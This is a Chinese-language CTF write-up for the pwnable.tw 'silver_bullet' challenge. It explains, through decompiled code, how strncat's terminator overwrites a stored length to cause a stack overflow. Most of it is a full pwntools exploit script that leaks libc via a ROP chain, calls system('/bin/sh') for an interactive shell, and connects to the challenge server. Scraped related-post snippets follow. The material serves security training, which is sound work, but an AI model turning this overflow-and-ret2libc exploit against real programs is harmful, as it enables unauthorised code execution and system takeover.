产生漏洞的原因

  1. int __cdecl power_up(char *dest)
  2. {
  3. char s; // [esp+0h] [ebp-34h]
  4. size_t new_len; // [esp+30h] [ebp-4h]
  5.  
  6. new_len = ;
  7. memset(&s, , 0x30u);
  8. if ( !*dest )
  9. return puts("You need create the bullet first !");
  10. if ( *((_DWORD *)dest + ) > 47u ) // len>47
  11. return puts("You can't power up any more !");
  12. printf("Give me your another description of bullet :");
  13. read_input(&s, - *((_DWORD *)dest + ));
  14. strncat(dest, &s, - *((_DWORD *)dest + ));// strncat会在dest结尾添加\0结束符,而记录字符串长度的位置正好位于s+0x30的位置,
  15. // s+0x30在strncat添加字符串长度为0x30时会被覆盖为0
  16. new_len = strlen(&s) + *((_DWORD *)dest + );// s+0x30被覆盖为0后new_len变为附加字符串的长度
  17. printf("Your new power is : %u\n", new_len);
  18. *((_DWORD *)dest + ) = new_len;
  19. return puts("Enjoy it !");
  20. }

脚本

  1. from pwn import *
  2.  
  3. context.log_level='DEBUG'
  4.  
  5. r=remote('chall.pwnable.tw',10103)
    file=ELF('./silver_bullet')
    libc=ELF('./libc_32.so.6')
    '''
    r=process('./silver_bullet')
    file=ELF('./silver_bullet')
    libc=ELF('/lib/i386-linux-gnu/libc-2.28.so')
    '''
  6.  
  7. #trigger stack overflow
    r.recvuntil('Your choice :')
    r.sendline('1')
    r.recvuntil('Give me your description of bullet :')
    r.send('a'*47)
    r.sendline('2')
    r.recvuntil('Give me your another description of bullet :')
    r.send('b')
    #gdb.attach(r)
  8.  
  9. #leak libc
    r.recvuntil('Your choice :')
    r.sendline('2')
    r.recvuntil('Give me your another description of bullet :')
    start=0x080484F0
    payload='\xff'*3+p32(0xdeadbeaf)+p32(file.plt['puts'])+p32(start)+p32(file.got['puts'])
    payload+=(47-len(payload))*'a'
    r.send(payload)
    r.recvuntil('Your choice :')
    r.sendline('3')
    r.recvuntil('Oh ! You win !!\n')
    libc_base=u32(r.recv(4))-libc.sym['puts']
    success('libc_base:'+hex(libc_base))
    sys_addr=libc_base+libc.sym['system']
    binsh_addr=libc_base+libc.search('/bin/sh').next()
    success('binsh_addr'+hex(binsh_addr))
    #gdb.attach(r)
  10.  
  11. #trigger stack overflow again
    r.recvuntil('Your choice :')
    r.sendline('1')
    r.recvuntil('Give me your description of bullet :')
    r.send('a'*47)
    r.sendline('2')
    r.recvuntil('Give me your another description of bullet :')
    r.send('b')
  12.  
  13. #trigger system('/bin/sh') call
    r.recvuntil('Your choice :')
    r.sendline('2')
    r.recvuntil('Give me your another description of bullet :')
    payload1='\xff'*3+p32(0xdeadbeaf)+p32(sys_addr)+p32(0xdeadbeaf)+p32(binsh_addr)
    payload1+=(47-len(payload))*'a'
    r.send(payload1)
    r.recvuntil('Your choice :')
    r.sendline('3')
    r.recvuntil('Oh ! You win !!\n')
    r.interactive()

pwnable.tw silver_bullet的更多相关文章

  1. pwnable.tw applestore

    存储结构 0x804B070链表头 struct _mycart_binlist { int *name; //ebp-0x20 int price; //ebp-0x1c struct _mycar ...

  2. pwnable.tw hacknote

    产生漏洞的原因是free后chunk未置零 unsigned int sub_80487D4() { int index; // [esp+4h] [ebp-14h] char buf; // [es ...

  3. pwnable.tw dubblesort

    (留坑,远程没打成功) int __cdecl main(int argc, const char **argv, const char **envp) { int t_num_count; // e ...

  4. pwnable.tw calc

    题目代码量比较大(对于菜鸡我来说orz),找了很久才发现一个能利用的漏洞 运行之发现是一个计算器的程序,简单测试下发现当输入的操作数超过10位时会有一个整型溢出 这里调试了一下发现是printf(&q ...

  5. pwnable.tw start&orw

    emm,之前一直想做tw的pwnable苦于没有小飞机(,今天做了一下发现都是比较硬核的pwn题目,对于我这种刚入门?的菜鸡来说可能难度刚好(orz 1.start 比较简单的一个栈溢出,给出一个li ...

  6. 【pwnable.tw】 starbound

    此题的代码量很大,看了一整天的逻辑代码,没发现什么问题... 整个函数的逻辑主要是红框中两个指针的循环赋值和调用,其中第一个指针是主功能函数,第二个数组是子功能函数. 函数的漏洞主要在main函数中, ...

  7. Pwnable.tw start

    Let's start the CTF:和stdin输入的字符串在同一个栈上,再准确点说是他们在栈上同一个地址上,gdb调试看得更清楚: 调试了就很容易看出来在堆栈上是同一块地址.发生栈溢出是因为:r ...

  8. pwnable.tw orw

    orw 首先,检查一下程序的保护机制 开启了canary保护,还是个32位的程序,应该是个简单的题

  9. pwnable.tw unexploitable 分析

    这题是和pwnable.kr差不多的一道题,主要区别在于没有给syscall.所以需要自己去找. 只有read和sleep两个函数. 思路一是首先劫持堆栈到bss段,然后调用read函数将sleep的 ...

随机推荐

  1. [references] How to Do Research

    目录: ** 0x01 做研究/写论文的Alpha/Beta ** 0x02 How to Do Research | 经典指南 ** 0x03 思考写作与研究的区别 | The difference ...

  2. linux sed awk seq 正则使用 截取字符 之技巧

    [root@room9pc01 ~]# seq 5 1 2 3 4 5 [root@room9pc01 ~]# seq 2 5 2 3 4 5 seq 1 2 10 1 3 5 7 9 [root@d ...

  3. 你懂redis吗

    一.redis简介 Redis是当前比较热门的NOSQL系统之一,它是一个开源的使用ANSI c语言编写的key-value存储系统(区别于MySQL的二维表格的形式存储.).和Memcache类似, ...

  4. 小程序组件中有bindinput监听报异常

    真机上有问题,ide上是没问题的,   组件有处理函数,结果异常说页面没有处理函数,加上处理函数后就不报异常了.

  5. WebSocket群聊与单聊

    一 . WebSocket实现群聊 py文件代码 # py文件 from flask import Flask, render_template, request from geventwebsock ...

  6. React笔记:快速构建脚手架(1)

    1. Create React APP React官方提供的脚手架工程Create React App:https://github.com/facebook/create-react-app Cre ...

  7. hashlib 模块:加密

    import hashlib # 基本使用 cipher = hashlib.md5('需要加密的数据的二进制形式'.encode('utf-8')) print(cipher.hexdigest() ...

  8. Consecutive Sum LightOJ - 1269(区间异或和)

    Consecutive Sum 又来水一发blog... 本来是昨天补codechef的题,最后一道题是可持久化字典树,然后去黄学长博客看了看 觉得字典树写法有点不太一样,就想着用黄学长的板子写码几道 ...

  9. 常见的cmd命令

    1.查看所有端口的使用情况:netstat -ano

  10. 曝Wi-Fi重大缺陷:你浏览的或是个假网站

    今年央视315晚会上曝光的Wi-Fi探针收集用户信息的热度还未消退,阿里安全专家研究发现了Wi-Fi的重大新问题:基于WPA/WPA2设计上存在的一些缺陷,用户在使用公共Wi-Fi时,被攻击者钓鱼,进 ...